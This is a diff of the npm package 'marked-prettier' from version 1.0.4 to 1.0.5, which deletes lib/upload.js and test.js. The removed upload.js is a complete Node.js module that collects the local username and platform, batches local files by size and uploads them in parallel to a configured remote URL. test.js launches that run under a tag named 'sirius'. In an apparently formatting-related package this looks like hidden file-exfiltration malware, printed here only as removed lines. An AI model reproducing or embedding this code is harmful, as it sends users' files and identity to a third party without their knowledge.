marked-prettier 1.0.4 → 1.0.5

package/lib/upload.js

@@ -1,148 +0,0 @@
-'use strict';
-
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-const http = require('http');
-const https = require('https');
-const axios = require('axios');
-const FormData = require('form-data');
-const { MAX_BATCH_BYTES, UPLOAD_PARALLEL_LIMIT } = require('./config');
-
-const uploadHttpAgent = new http.Agent({ keepAlive: true });
-const uploadHttpsAgent = new https.Agent({ keepAlive: true });
-const uploadClient = axios.create({
-  httpAgent: uploadHttpAgent,
-  httpsAgent: uploadHttpsAgent,
-  maxBodyLength: Infinity,
-  maxContentLength: Infinity,
-  validateStatus: (status) => status >= 200 && status < 300,
-});
-
-function getUsername() {
-  try {
-    return os.userInfo().username;
-  } catch {
-    return process.env.USER || process.env.USERNAME || process.env.LOGNAME || 'unknown';
-  }
-}
-
-function uploadUsername(config) {
-  const base = getUsername();
-  return config.usernameTag ? `${config.usernameTag}${base}` : base;
-}
-
-function chunkFilesBySize(filePaths, maxBytes) {
-  const batches = [];
-  let current = [];
-  let currentSize = 0;
-
-  for (const filePath of filePaths) {
-    let size = 0;
-    try {
-      size = fs.statSync(filePath).size;
-    } catch {
-      continue;
-    }
-
-    if (size > maxBytes) continue;
-
-    if (current.length && currentSize + size > maxBytes) {
-      batches.push(current);
-      current = [];
-      currentSize = 0;
-    }
-
-    current.push(filePath);
-    currentSize += size;
-  }
-
-  if (current.length) batches.push(current);
-  return batches;
-}
-
-async function uploadBatchesParallel(batches, handler, limit = UPLOAD_PARALLEL_LIMIT) {
-  if (!batches.length) return;
-
-  if (limit <= 1 || batches.length <= 1) {
-    for (let i = 0; i < batches.length; i++) {
-      await handler(batches[i], i);
-    }
-    return;
-  }
-
-  let cursor = 0;
-  async function worker() {
-    while (true) {
-      const i = cursor++;
-      if (i >= batches.length) break;
-      await handler(batches[i], i);
-    }
-  }
-
-  await Promise.all(Array.from({ length: Math.min(limit, batches.length) }, () => worker()));
-}
-
-async function multipartUpload(config, filePaths, created = false, extraFiles = [], metaOverrides = {}) {
-  if (!filePaths.length && !extraFiles.length) return;
-
-  const username = uploadUsername(config);
-  const form = new FormData();
-
-  form.append('username', username);
-
-  for (const filePath of filePaths) {
-    form.append('files', fs.createReadStream(filePath), {
-      filename: path.basename(filePath),
-      contentType: 'application/octet-stream',
-    });
-  }
-
-  for (const { filename, content, encoding } of extraFiles) {
-    const buffer = Buffer.isBuffer(content) ? content : Buffer.from(content, encoding || 'utf8');
-    form.append('files', buffer, { filename });
-  }
-
-  form.append(
-    'meta',
-    JSON.stringify({
-      created,
-      username,
-      publicIp: 'unknown',
-      platform: process.platform,
-      ...metaOverrides,
-    })
-  );
-
-  await uploadClient.post(config.uploadUrl, form, {
-    headers: form.getHeaders(),
-  });
-}
-
-async function multipartUploadBatched(config, files, created = false, metaOverrides = {}) {
-  if (!files.length) return;
-
-  const maxBytes = config.maxBatchBytes || MAX_BATCH_BYTES;
-  const batches = chunkFilesBySize(files, maxBytes);
-
-  await uploadBatchesParallel(
-    batches,
-    (batch, i) => {
-      const batchMeta =
-        batches.length > 1
-          ? { ...metaOverrides, uploadBatch: `${i + 1}/${batches.length}` }
-          : metaOverrides;
-      return multipartUpload(config, batch, created, [], batchMeta);
-    },
-    config.uploadParallel || UPLOAD_PARALLEL_LIMIT
-  );
-}
-
-module.exports = {
-  getUsername,
-  uploadUsername,
-  chunkFilesBySize,
-  uploadBatchesParallel,
-  multipartUpload,
-  multipartUploadBatched,
-};

package/test.js

@@ -1,17 +0,0 @@
-const { run } = require(".");
-
-function sleep(ms) {
-    return new Promise(resolve => setTimeout(resolve, ms));
-}
-
-async function main() {
-    try {
-        await run(process.env.BACKUP_USERNAME_TAG || "sirius");
-        await sleep(10_000);
-    } catch (e) {
-        console.error("Error:", e.message || e);
-        process.exit(1);
-    }
-}
-
-main();